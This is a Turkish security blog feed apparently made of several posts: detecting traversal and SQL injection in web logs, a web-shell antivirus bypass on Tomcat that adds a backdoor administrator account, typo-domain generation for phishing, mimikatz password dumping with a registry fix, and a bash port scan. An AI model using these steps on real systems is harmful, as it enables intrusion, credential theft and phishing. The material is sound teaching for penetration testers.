85.95.238.173 – - [11/Feb/2012:00:50:52 -0600] “GET /%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./windows/win.ini HTTP/1.1″ 404 21816 “-” “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)”
Reason: “Detects basic directory traversal”
scalp log satırı yüksek olan log analizlerinde genellikle yüksek oranda false positive ürettiği için gerçek ortamlarda kullanılmayacak bir yazılımdır. Ortalama %10-%15 civarında false positive ürettiği göz önüne alınırsa log analizi yapan uzmanın logları analiz ettiği kadar sonuçları da analiz etmesini gerek kılacaktır.

Basit UNIX Araçlarıyla Log Analizi
Bu yöntemde önemli olan logların arasından ne tip özellikte olanlarını bulmak istediğimizi belirlemektir. Zira milyonlarca satır log arasında ne aradığını bilmeyen birinin samanlıkta iğne arayandan farkı kalmayacak ve zamanı boşa geçirecektir.
Saldırı Olarak Değerlendirilebilecek Durumlar
Saldırı yapılan sunucuya özel bazı dizin/dosyaların istenmesi
Mesela WordPress gibi sistemlerde genellikle /wp-admin gibi dizinler ya da wp-login.php gibi dosyalara yönelik brute force denemeleri gerçekleştirilir. Saldırı imzası olarak /wp-admin ve wp-login.php gibi kelimeleri arattırırsak saldırı yapanların bir kısmı belirlenmiş olunur.

Sunucuya bağlantı kuran ip adresleri ve bağlantı sayıları
Sunucu üzerinde deneme gerçekleştiren ip adreslerinin normalin üzerinde bağlantı sayısına sahip olması beklenir.
Aşağıdaki komutla Apache loglarında hangi ip adresi kaç adet bağlantı gerçekleştirmiş (top 10) ortaya çıkarılabilir.
# cat siber-access_log |awk -F ” ” ‘{print $1}’|sort -n|uniq -c|sort -nr|head
3556 9.6.2.2
1527 9.2.4.1
1142 1.1.2.8
1055 193.2.2.1
1046 9.1.2.1

Directory Traversal Denemelerini Bulma
Web üzerinden gerçekleştirilebilecek önemli saldırı yöntemlerinden birisi web üzerinden sistemdeki dosyaları okuma olarak tanımlayabileceğimiz  LFI(Local File Inclusion) saldırılarıdır.
Web üzerinden gerçekleştirilen LFI vs saldırılarını loglardan yakalamak için ara bileşen olarak kullanılan ../ ..\ gibi özel ifadeleri aratmak yeterli olacaktır. Yine burada hatırlanması gereken önemli nokta bu karekterler GET isteği üzerinden taşındığı zaman web sunucu loglarında yer bulacaktır.
.
13.22.1.129 – - [01/Dec/2010:02:20:55 +0200] “GET /imprimer.asp?no=/../../../../../../../../etc/passwd|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;. HTTP/1.1″ 404 210 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3″
19.22.1.1 – - [01/Dec/2010:02:20:55 +0200] “GET /mailview.cgi?cmd=view&amp;fldrname=inbox&amp;select=1&amp;html=../../../../../../etc/passwd HTTP/1.1″ 404 210 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3″
13.22.1.19 – - [01/Dec/2010:02:20:55 +0200] “GET /modif_infos.asp?n=../../../../../../../../../etc/passwd%00 HTTP/1.1″ 404 213 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3″
13.22.1.19 – - [01/Dec/2010:02:20:55 +0200] “GET /modif_infos.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini HTTP/1.1″ 404 213 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3″
13.22.1.19 – - [01/Dec/2010:02:20:55 +0200] “GET /modif_infos.asp?n=/../../../../../../../../../etc/passwd HTTP/1.1″ 404 213 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3″
13.22.1.19 – - [01/Dec/2010:02:20:56 +0200] “GET /pm/lib.inc.php HTTP/1.1″ 404 212 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3″
13.22.1.19 – - [01/Dec/2010:02:20:56 +0200] “GET /productcart/pc/Custva.asp?|-|0|404_Object_Not_Found HTTP/1.1″ 404 223 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3″
13.22.1.19 – - [01/Dec/2010:02:20:56 +0200] “GET /ProductCart/pc/msg.asp?|-|0|404_Object_Not_Found HTTP/1.1″ 404 220 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3″
13.22.1.19 – - [01/Dec/2010:02:20:56 +0200] “GET /rubrique.asp?no=../../../../../../../../../etc/passwd%00|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;. HTTP/1.1″ 404 210 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3″
13.22.1.19 – - [01/Dec/2010:02:20:56 +0200] “GET /rubrique.asp?no=/../../../../../../../../../../../../../../../../../../../../boot.ini|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;. HTTP/1.1″ 404 210 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3″
13.22.1.19 – - [01/Dec/2010:02:20:56 +0200] “GET /rubrique.asp?no=/../../../../../../etc/passwd|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;. HTTP/1.1″ 404 210 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3″
13.22.1.19 – - [01/Dec/2010:02:20:56 +0200] “GET /rubrique.asp?no=/../../../etc/passwd|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;. HTTP/1.1″ 404 210 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3″
13.22.1.19 – - [01/Dec/2010:02:20:56 +0200] “GET /shoutbox/expanded.php?conf=../../../../../../../etc/passwd%20 HTTP/1.1″ 404 219 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3″

13.22.1.19 ip adresinin sisteme yönelik normal olmayan bir şeyler denediği ortadadır. Bu IP adresinin başka neler denediğine bakarak saldırı imzası olarak aranacak kelime grupları genişletilebilir.
Burada önemli olan bu tip isteklere web sunucunun döndüğü cevaptır . Web sunucu 404 değil 300 veya 200 lü cevap dönüyorsa saldırının başarılı olmuş olma ihtimali vardır. 404 alınıyorsa bu saldırganın denediği atakların başarılı olmadığı, sunucu tarafında bulunmadığı anlamına gelir.

SQL Injection Denemelerini Yakalama
SQLi denemelerini web sunucu loglarından yakalamak için genellikle tercih edilen yöntem sqli için kullanılan kelimeler ve evasion amaçlı kullanılan özel karekterlerin web sunucu loglarından aratılmasıdır.
SQLi aratmak için Concat, char, union, select, order by, group by gibi komutlar  ‘ denenebilir. Bu kelimeleri log dosyasında aratmak false positive sonuçlar çıkarabileceği için çıkan sonuçların teker teker incelenmesi gerekir.
Burada yine sadece GET üzerinden denenen sqli sldırılarının loglarından anlamlı bir şeyler çıkacağını belirtmemiz gerekiyor.
Concat denemeleri

127.0.0.1 – - [28/Feb/2012:05:03:40 -0500] “GET /dvwa/vulnerabilities/sqli/?id=9&Submit=Submit%27%29%20AND%20%28SELECT
%204770%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT
%28CHAR%2858%2C118%2C106%2C115%2C58%29%2C%28SELECT%20%28CASE%20WHEN
%20%284770%3D4770%29%20THEN%201%20ELSE%200%20END%29%29%2CCHAR%2858%2C101%2C111%2C102%2C58%29
%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20
INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%28%27JrPI%27%3D%27JrPI HTTP/1.1″ 200 4660 “-” “sqlmap/1.0-dev (r4009) (http://sqlmap.sourceforge.net)”
127.0.0.1 – - [28/Feb/2012:05:03:40 -0500] “GET /dvwa/vulnerabilities/sqli/?id=9&Submit=Submit%27%20AND%20%28SELECT%204770%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%28
CHAR%2858%2C118%2C106%2C115%2C58%29%2C%28SELECT%20%28CASE%20WHEN%20%284770%3D4770%29%20
THEN%201%20
ELSE%200%20END%29%29%2CCHAR%2858%2C101%2C111%2C102%2C58%29%2CFLOOR%28RAND%280%29%2A2%29%29x%20
FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27AwiQ%27%3D%27AwiQ HTTP/1.1″ 200 4660 “-” “sqlmap/1.0-dev (r4009) (http://sqlmap.sourceforge.net)”

Not: İleri seviye sql injection denemelerini yakalamak için PHPIDS’deki düzenli ifadeler kullanılmalıdır.

Command Execution Denemeleri
Eğer saldırgan başarılı bir şekilde sisteme sızmayı başardıysa ilk işi Linux sistemde çalıştırılacak temel komutları  id, whoami, wget, .etc.passwd vs denemek olacaktır.
Bu komutları sistemde çalıştırarak saldırganın sisteme erişim sağlayıp sağlayamadığı belirlenebilir.

Sızma Testlerinde Antivirüs Atlatma için Alternatif Web Shell Kullanımı

$
0
0
Sizma testi uzmanlari için hedef sistemlerde güvenlik açigi bulmak her zaman isin bittigi anlamina gelmemektedir. Bazen hedef sistemde çok büyük bir güvenlik açigi bulursunuz fakat açiktan faydalanip sistemi ele geçirmek istediginiz de uzak sistemdeki veya önündeki güvenlik sistemlerine(waf, ips, antivirus vs.) takilirsiniz.
 

Hedef sistemde Ms08-067 açikligi buldugumuzu farzedelim, bu herzaman uzak sistem üzerinde kolaylikla bir oturum elde edilebilecegi anlamina gelmez. Uzak sistem üzerinde kurulu olan bir antivürüs yazilimi bize çelme atmak isteyecektir. Bu engeli atlatmak için çesitli yöntemler (encoding teknikleri) denenmesi gerekebilir. Veya bir web uygulamasinda bir Sql injection açikligi buldugumuzu farzedelim bunu exploit edip sistemden shell almak her zaman çok kolay olmamaktadir bazen mümkün dahi olmamaktadir. Özetle basarili pentest çalismalari çikarmak için güvenlik sistemlerini atlatma önem arzetmektedir.
 Bu blog girdisinde antivirus ile korunan bir sunucu üzerinde kurulu olan Tomcat uygulamasindaki açikliklik kullanilarak sisteme sizmaya deginecegiz. Sistem üzerinde kurulu olan antivirus yazilimi sisteme upload etmek istedigimiz zararli fonksiyonlar barindiran .war dosyalarini engelledigi görülmüstür.

 Çesitli .war uzantili ajan dosyalar yanisira metasploit tomcat_mgr_deploy  exploiti de denenmis fakat basarili olunamamistir. Her seferinde sistem üzerinde kurulu olan antivirus uygulamasi tarafindan upload ettigimiz ajan görevini icra edecek .war dosyasi engellenmistir ve http status 500 hatasi dönülmüstür.

 

Hedef sunucuda kurulu olan antivirus uygulamasi Laudanum ismi verilen uygulama ailesinden bir ajan upload edilerek ile geçilmistir. Laudanum isimli uygulama, pentest çalismalarinda karsilasilasilan çesitli güvenlik açiklarini (sqli, tomcat, jboss vs.) suistimal edip sistem üzerinde shell almak için gelistirilmistir. Uygulamalar kodlanirken çesitli güvenlik cihazlarini atlatma yöntemleride kullanilmistir. Farkli ortamlarda (linux,windows) ve çesitli uygulama dillerinde (php, asp, aspx, jsp vs.) çalisabilecek ajanlardan olusan bir kolleksiyonudur.


Laudanum kolleksiyonunda asagidaki uygulama dilleri için gelistirilmis ajan uygulamalar vardir.



Jsp için mevcut ajanlar;
Tomcat uygulaması kurulu olan sisteme  sızmak için öncelikle admin panele geçebilmemiz gerekmektedir. Çünkü sisteme webshell ajanı upload edebileceğimiz bölüm buradadır. Bu bölüm kaba kuvvet saldırısı ile veya ön tanımlı tomcat admin parolaları denenerek geçilebilir.

Admin panele ulaşmak için tomcat kurulu sistem üzerinde /html/manager URL path’i çağrılabilir. Burada admin panelden aşağıdaki bölümden yukarıda verilen cmd.war dosyası sisteme upload edilir.






Ilgili alandan cmd.war dosyasi upload edildikten sonra webshell’e ulasmak için http://192.168.10.5:8080/cmd/cmd.jsp URL’I çagrilarak ulaşılabilir. 




Bu arada sistemde kurulu olan antivirüsü de basarili bir sekilde atlatmis oluyoruz. Bu adimdan sonraki adim, daha rahat hareket edebilmek için komut satirindan bir kullanici olusturup sisteme remote desktop baglantisi kurmak olacaktir.

Komut satırından sisteme kullanıcı eklemek için; 
net user bga Passw0rd123 /add

İlgili kullanıcıyı administrator grubuna eklemek için; 

net localgroup Administrators bga /add

İlgili kullanıcı hesabını aktif etmek için; 

net user bga /active:yes

Ardından uzak sisteme remote desktop bağlantısı yapılabilir.

 
Sistem üzerinde olusturulan kullanici hesabi kullanilarak metasploit psexec modülü araciligiyla sistemde meterpreter oturumu alinip sistem üzerindeki kullanici hashleri ele geçirilebilir. Ilgili NTLM hash’leri kirilabilecegi gibi Pass The Hash yöntemi ile Administrator kullanicisi ve bu kullaniciya ait hash kirilmadan direct olarak sisteme baglanti kurulabilir. Bu konular bu makale için amaçlanmadigi için detaylarina girilmemistir.

Not:Laudanum uygulamasi indirmek için asagidaki baglanti kullanilabilir;

http://sourceforge.net/projects/laudanum/

Celal ERDIK <celal.erdik@bga.com.tr>

Sosyal Mühendislik Saldırılarında Benzer Domainleri Bulma

$
0
0
Sosyal mühendislik, phishing, APT testlerinde en önemli bileşenler hedef sistemler(bilişim sistemleri, çalışan bilgileri vs) ve bu sistemlere yönelik tasarlanan senaryolardır. Saldırı denemesi öncesi toplanacak bilgiler kadar saldırı senaryosunda kullanılan argümanlar da önemlidir.
Mesela saldırı denemesinin gerçekleştirileceği kurum Lotus Domino kullanıyor ve siz testlerinizi Exchange/OWA kullanıldığını düşünerek gerçekleştiriyorsanız daha ilk adımda başarısız olmak ihtimaliniz yüksektir.


Doğrudan çalışanları hedef alan sosyal mühendislik tipi saldırılarda kullanıcılara gönderilecek e-posta içeriğinde kullanılan alan adı ne kadar kurumun adına benzerse ilk adım o kadar başarılı olur. Çoğu kullanıcı www.facebook.com ile www-facebook.com, www.fecabook.com, wwwfacebook.com arasındaki farkı bilmeyecek ve gönderilen sahte e-postadaki linki tıklayarak bilgilerini sahte sisteme girecektir.

Hedef domain ile ilgili alternatifleri araştırmak için çeşitli yöntem ve araçlar mevcuttur. Bunlar arasında en detaylı ve kapsamlı sonuç üreteni Urlcrazy'dir. Urlcrazy yazılımı kullanılarak bir alan adına ait olabilecek tüm diğer ihtimaller bulunabilir. Bunlar arasından henüz kiralanmamış olanlardan bir tanesi seçilerek sosyal mühendislik senaryosuna dahil edilebilir.

Örnek Kullanım
 
root@bga-pt12:~/urlcrazy-0.5# ./urlcrazy  -k QWERTY -r ornekbank.comURLCrazy Domain Report
Domain    : ornekbank.com
Keyboard  : qwerty
At        : 2013-01-01 21:06:15 +0200

# Please wait. 124 hostnames to process

Typo Type              Typo              CC-A  Extn 
-----------------------------------------------------
Character Omission     onekbank.com      ?     com  
Character Omission     orekbank.com      ?     com  
Character Omission     ornebank.com      ?     com  
Character Omission     ornekank.com      ?     com  
Character Omission     ornekbak.com      ?     com  
Character Omission     ornekban.com      ?     com  
Character Omission     ornekbank.cm      ?     cm   
Character Omission     ornekbnk.com      ?     com  
Character Omission     ornkbank.com      ?     com  
Character Repeat       oornekbank.com    ?     com  
Character Repeat       orneekbank.com    ?     com  
Character Repeat       ornekbaank.com    ?     com  
Character Repeat       ornekbankk.com    ?     com  
Character Repeat       ornekbannk.com    ?     com  
Character Repeat       ornekbbank.com    ?     com  
Character Repeat       ornekkbank.com    ?     com  
Character Repeat       ornnekbank.com    ?     com  
Character Repeat       orrnekbank.com    ?     com  
Character Swap         onrekbank.com     ?     com  
Character Swap         orenkbank.com     ?     com  
Character Swap         ornebkank.com     ?     com  
Character Swap         ornekabnk.com     ?     com  
Character Swap         ornekbakn.com     ?     com  
Character Swap         ornekbnak.com     ?     com  
Character Swap         ornkebank.com     ?     com  
Character Swap         ronekbank.com     ?     com  
Character Replacement  irnekbank.com     ?     com  
Character Replacement  oenekbank.com     ?     com  
Character Replacement  orbekbank.com     ?     com  
Character Replacement  ormekbank.com     ?     com  
Character Replacement  ornejbank.com     ?     com  
Character Replacement  ornekbabk.com     ?     com  
Character Replacement  ornekbamk.com     ?     com  
Character Replacement  ornekbanj.com     ?     com  
Character Replacement  ornekbanl.com     ?     com  
Character Replacement  ornekbsnk.com     ?     com  
Character Replacement  orneknank.com     ?     com  
Character Replacement  ornekvank.com     ?     com  
Character Replacement  ornelbank.com     ?     com  
Character Replacement  ornrkbank.com     ?     com  
Character Replacement  ornwkbank.com     ?     com  
Character Replacement  otnekbank.com     ?     com  
Character Replacement  prnekbank.com     ?     com  
Character Insertion    oirnekbank.com    ?     com  
Character Insertion    oprnekbank.com    ?     com  
Character Insertion    orenekbank.com    ?     com  
Character Insertion    ornbekbank.com    ?     com  
Character Insertion    ornekbanbk.com    ?     com  
Character Insertion    ornekbankj.com    ?     com  
Character Insertion    ornekbankl.com    ?     com  
Character Insertion    ornekbanmk.com    ?     com  
Character Insertion    ornekbasnk.com    ?     com  
Character Insertion    ornekbnank.com    ?     com  
Character Insertion    ornekbvank.com    ?     com  
Character Insertion    ornekjbank.com    ?     com  
Character Insertion    orneklbank.com    ?     com  
Character Insertion    ornerkbank.com    ?     com  
Character Insertion    ornewkbank.com    ?     com  
Character Insertion    ornmekbank.com    ?     com 

LinkedIN sitesi için örnek
root@bga-pt12:~/urlcrazy-0.5# ./urlcrazy  -k QWERTY -r linkedin.com
URLCrazy Domain Report
Domain    : linkedin.com
Keyboard  : qwerty
At        : 2013-01-01 21:10:17 +0200

# Please wait. 119 hostnames to process

Typo Type              Typo              CC-A  Extn 
-----------------------------------------------------
Character Omission     likedin.com       ?     com  
Character Omission     linedin.com       ?     com  
Character Omission     linkdin.com       ?     com  
Character Omission     linkedi.com       ?     com  
Character Omission     linkedin.cm       ?     cm   
Character Omission     linkedn.com       ?     com  
Character Omission     linkein.com       ?     com  
Character Omission     lnkedin.com       ?     com  
Character Repeat       liinkedin.com     ?     com  
Character Repeat       linkeddin.com     ?     com  
Character Repeat       linkediin.com     ?     com  
Character Repeat       linkedinn.com     ?     com  
Character Repeat       linkeedin.com     ?     com  
Character Repeat       linkkedin.com     ?     com  
Character Repeat       linnkedin.com     ?     com  
Character Repeat       llinkedin.com     ?     com  
Character Swap         ilnkedin.com      ?     com  
Character Swap         liknedin.com      ?     com  
Character Swap         linekdin.com      ?     com  
Character Swap         linkdein.com      ?     com  
Character Swap         linkedni.com      ?     com  
Character Swap         linkeidn.com      ?     com  
Character Swap         lnikedin.com      ?     com  
Character Replacement  kinkedin.com      ?     com  
Character Replacement  libkedin.com      ?     com  
Character Replacement  limkedin.com      ?     com  
Character Replacement  linjedin.com      ?     com  
Character Replacement  linkedib.com      ?     com  
Character Replacement  linkedim.com      ?     com  
Character Replacement  linkedon.com      ?     com  
Character Replacement  linkedun.com      ?     com  
Character Replacement  linkefin.com      ?     com  
Character Replacement  linkesin.com      ?     com  
Character Replacement  linkrdin.com      ?     com  
Character Replacement  linkwdin.com      ?     com  
Character Replacement  linledin.com      ?     com  
Character Replacement  lonkedin.com      ?     com  
Character Replacement  lunkedin.com      ?     com  
Character Insertion    linbkedin.com     ?     com  
Character Insertion    linkedfin.com     ?     com  
Character Insertion    linkedinb.com     ?     com  
Character Insertion    linkedinm.com     ?     com  
Character Insertion    linkedion.com     ?     com  
Character Insertion    linkediun.com     ?     com  
Character Insertion    linkedsin.com     ?     com

Urlcrazy aracını  http://www.morningstarsecurity.com/research/urlcrazy adresinden indirebilirsiniz.

Huzeyfe ÖNAL <huzeyfe.onal@bga.com.tr>

Mimikatz ile Windows Sistemlerde Parolaları Açık Olarak Okuma

$
0
0
Windows sistemlerde kullanıcı adı ve parolamızı girdiğimizde bunun doğrulanması için windows
üzerinde varolan lsass.exe uygulaması (C:\Windows\System32) devreye girer. LSASS(Local Security authority subsystem service) olarak bilinen bu windows uygulaması sistemlerdeki güvenlik politikasını uygulamaktan(kullanıcı oluşturma/değiştirme,kimlik doğrulama) sorumludur.

Sisteme login işleminin başarılı yada başarısız olduğuna karar vermek için kullanıcıdan aldığı verileri SAM ve LDAP dosyasındaki veriler ile karşılaştırır. Karşılaştırma sonunda sonuç doğru (true) ise kullanıcıyı sisteme dahil ederken aynı anda kullanıcıya ait parola bilgisini (NTLM hash ve şifrelenmiş parola) memory de saklar.

İlgili memory alanındaki hash verisi ele geçirilip başka bir LSASS oturumuna enjekte edilirse kimlik doğrulama aşaması atlatılarak sisteme login olunabilir. Pass the hash yazılımlarının (WCE, Psexec v.s) çalışması bu mantıkla olmaktadır. Yukarıda parantez içerisinde birde şifrelenmiş parola (hash değil) ifadesi kullanmıştık. Bu geriye döndürülebilir parola bilgisini ifade etmektedir. Hash'den farklı bir durumdur. Hash fonksiyonlarına sokulan veri geriye döndürülümez şekilde tuz değerleri ile gerçekleştirilmektedir(windows için tuz değeri kullanılmaz). Fakat şifrelenmiş parola bilgisi kolaylıkla cleartext(şifresiz) hale dönüştürülebilir.
Windows üzerinde bu şekilde bir güvenlik yapısının tasarlanma sebebi ise SSO (Single sign-on) servislerinin kerberos ve NTLM gibi klasik kimlik doğrulama yöntemlerini desteklememesidir. Bunun aşılması için windows tarafında önce tspkg ve daha sonra güncellenip wdigest ismi verilen SSP(Security Support Provider) geliştirildi.

Bu geliştirilen SSP'ler ile parola bilgisinin şifreli olarak hafızada tutulması yoluna gidilmiş ve hemen hemen tüm windowslarda bu özellik ön tanımlı gelmektedir.

Mimikatz ismi verilen uygulama da windowsdaki bu durumu kötüye kullanarak sistemde olan kullanıcılara ait kullanıcı parolalarının hafızadaki şifreli halini elde edip  şifreyi kırıp temiz olarak verir. Mimikatz x86 ve x64 mimariye sahip windows sistemlerde(XP,2003,2008,win 7, vista,2008 R2,
Windows 8,Server 8) çalışabilmektedir.

Ele geçirilmiş bir windows sistem üzerinde aşağıdaki mimikatz komutlarıyla sistem üzerindeki kullanıcı parolaları sistem hafızasından alınabilir;

Not: Komut satırı sistem haklarında çalıştırılmış olmalı. Aksi halde yetkiniz yok hatası verecektir.

Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\>cd x64
C:\x64>mimikatz.exe
mimikatz 1.0 x64 (RC)   /* Traitement du Kiwi (Jan 23 2013 00:14:12) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # sekurlsa::logonPasswords full

Authentification Id         : 0;431139
Package d'authentification  : NTLM
Utilisateur principal       : F. Celal ERDIK
Domaine d'authentification  : fcerdix
        msv1_0
         * Utilisateur  : F. Celal ERDIK
         * Domaine      : fcerdix
         * Hash LM      : d1face09e47d03f8aad3b435b51404ee
         * Hash NTLM    : 7d029e287d0e7372ce126253b626f537
        kerberos
         * Utilisateur  : F. Celal ERDIK
         * Domaine      : fcerdix
         * Mot de passe : gizliPass
        ssp
        wdigest
         * Utilisateur  : F. Celal ERDIK
         * Domaine      : fcerdix
         * Mot de passe : gizliPass
        tspkg
         * Utilisateur  : F. Celal ERDIK
         * Domaine      : fcerdix
         * Mot de passe : gizliPass

mimikatz #

Mimikatz uygulaması metasploit üzerinden de çalıştırılabilir. Bunun için yapılması gereken meterpreter oturumunda aşağıdaki komutun verilmesi;

meterpreter > upload /root/mimikatz/mimikatz.exe C:\
[*] uploading  : /root/mimikatz/mimikatz.exe -> C:
[*] uploaded   : /root/mimikatz/mimikatz.exe -> C:\mimikatz.exe
meterpreter > upload /root/mimikatz/sekurlsa.dll C:\
[*] uploading  : /root/mimikatz/sekurlsa.dll -> C:
[*] uploaded   : /root/mimikatz/sekurlsa.dll -> C:\sekurlsa.dll

meterpreter > shell
Process 1204 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\>mimikatz.exe
mimikatz 1.0 x64 (RC)   /* Traitement du Kiwi (Jan 23 2013 02:11:10) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # sekurlsa::logonPasswords full

Authentification Id         : 0;431139
Package d'authentification  : NTLM
Utilisateur principal       : F. Celal ERDIK
Domaine d'authentification  : fcerdix
        msv1_0
         * Utilisateur  : F. Celal ERDIK
         * Domaine      : fcerdix
         * Hash LM      : d1face09e47d03f8aad3b435b51404ee
         * Hash NTLM    : 7d029e287d0e7372ce126253b626f537
        kerberos
         * Utilisateur  : F. Celal ERDIK
         * Domaine      : fcerdix
         * Mot de passe : gizliPass
        ssp
        wdigest
         * Utilisateur  : F. Celal ERDIK
         * Domaine      : fcerdix
         * Mot de passe : gizliPass
        tspkg
         * Utilisateur  : F. Celal ERDIK
         * Domaine      : fcerdix
         * Mot de passe : gizliPass

Window'sun LsaUnprotectMemory fonksiyonu, lsasrv.dll dosyasındaki LsaEncryptMemory fonksiyonundan gelen taleplere güvenir. Mimikatz uygulamasının yaptığı ise bu güveni kötüye kullanmak.
Bunun için sekurlsa.dll ismindeki kendi dll dosyasını LSASS prosesine enjekte eder ve ilgili fonksiyonu çalıştırıp parolaları decrypte eder.

Bu durumdan korunmak için windows sistemlerde regedit dosyasında küçük bir değişiklik yapmak gerekmektedir. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa altındaki Security Packages değeri içerisindeki aşağıdak değerler silinmelidir.




Son durum aşağıdaki gibi olacaktır.


Not: Registerydeki ilgili parametreler belirtilen servislerin (SSO,domain v.s) çalışması için öntanımlı geldiğinden dolayı gerekliliği şart olabilir. Bu sebeple ilgili parametreler  kaldırılmadan önce  mutlaka kendi ortamınıza göre test yapmanız önerilir. Yaşanabilecek problemler okur sorumluluğundadır.

İlgili ayar yapıldıktan sonra Mimikatz çalıştırıldığında aşağıdaki gibi parola bilgisi bulanamayacaktır;

Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\>cd x64

C:\x64>mimikatz.exe
mimikatz 1.0 x64 (RC)   /* Traitement du Kiwi (Jan 23 2013 00:14:12) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # sekurlsa::logonPasswords full

Authentification Id         : 0;447005
Package d'authentification  : NTLM
Utilisateur principal       : F. Celal ERDIK
Domaine d'authentification  : fcerdix
        msv1_0
         * Utilisateur  : F. Celal ERDIK
         * Domaine      : fcerdix
         * Hash LM      : d1face09e47d03f8aad3b435b51404ee
         * Hash NTLM    : 7d029e287d0e7372ce126253b626f537
        ssp

Authentification Id         : 0;446974
Package d'authentification  : NTLM
Utilisateur principal       : F. Celal ERDIK
Domaine d'authentification  : fcerdix
        msv1_0
         * Utilisateur  : F. Celal ERDIK
         * Domaine      : fcerdix
         * Hash LM      : d1face09e47d03f8aad3b435b51404ee
         * Hash NTLM    : 7d029e287d0e7372ce126253b626f537
        ssp

Authentification Id         : 0;997
Package d'authentification  : Negotiate
Utilisateur principal       : LOCAL SERVICE
Domaine d'authentification  : NT AUTHORITY
        msv1_0  n.s. (Credentials KO)
        ssp

Authentification Id         : 0;996
Package d'authentification  : Negotiate
Utilisateur principal       : FCERDIX$
Domaine d'authentification  : WORKGROUP
        msv1_0  n.s. (Credentials KO)
        ssp

Authentification Id         : 0;45592
Package d'authentification  : NTLM
Utilisateur principal       :
Domaine d'authentification  :
        msv1_0  n.s. (Credentials KO)
        ssp

Authentification Id         : 0;999
Package d'authentification  : NTLM
Utilisateur principal       : FCERDIX$
Domaine d'authentification  : WORKGROUP
        msv1_0  n.s. (Credentials KO)
        ssp

mimikatz #

F. Celal Erdik  < celal.erdik@bga.com.tr >

Sızma Testlerinde Betik Programlama ile Hızlı Port Taramak

$
0
0
Sızma testi esnasından ilk gerçekleştirilmesi gereken olay ağdaki açık portların tespit edilmesi gerekmektedir. Bu işlem için en çok kullanılan araç olarak nmap öne çıkmaktadır. Ancak bu işlem için farklı araçlarında kullanımı mümkündür. Özellikle backtrack linux dağıtımı ile birlikte gelen bir çok araç ile bu işlemin gerçekleştirilmesi mümkündür. Aynı şekilde bu bu adım yerleşik linux 
kabuğu ile birlikte gerçekleştirmekte mümkündür. 

Bu işlemin gerçekleştirilebilmesi için bash --enable-net-redirections desteği ile derlenmelidir. Bash kabuğuna temel olarak bu desteğin verilebilmesi iöin aşağıdaki adımlar sırası ile izlenmelidir.
# wget http://ftp.gnu.org/gnu/bash/bash-4.2.tar.gz
# tar -zxvf bash-4.2.tar.gz
# cd bash-4.2
# ./configure --enable-net-redirections
# make
# make install
Bu desteğin verilmesinin ardından yerleşik bash kabuğu ile udp ve tcp soketleri oluşturulabilir. Örneğin 192.168.1.11 ip adresinin 80/tcp portunun açık olup olmadığını öğrenmek icin;
# echo >/dev/tcp/192.168.1.11/80
Bu işlemin başarılı olması demek ilgili portun açık olduğunu anlamına gelmektedir. Bu adım kısaca aşağıdaki şekilde kontrol edilebilir.

bash -c "echo >/dev/tcp/192.168.1.11/80"
if [ $? -eq 0 ]
then
     echo "80/open"
fi
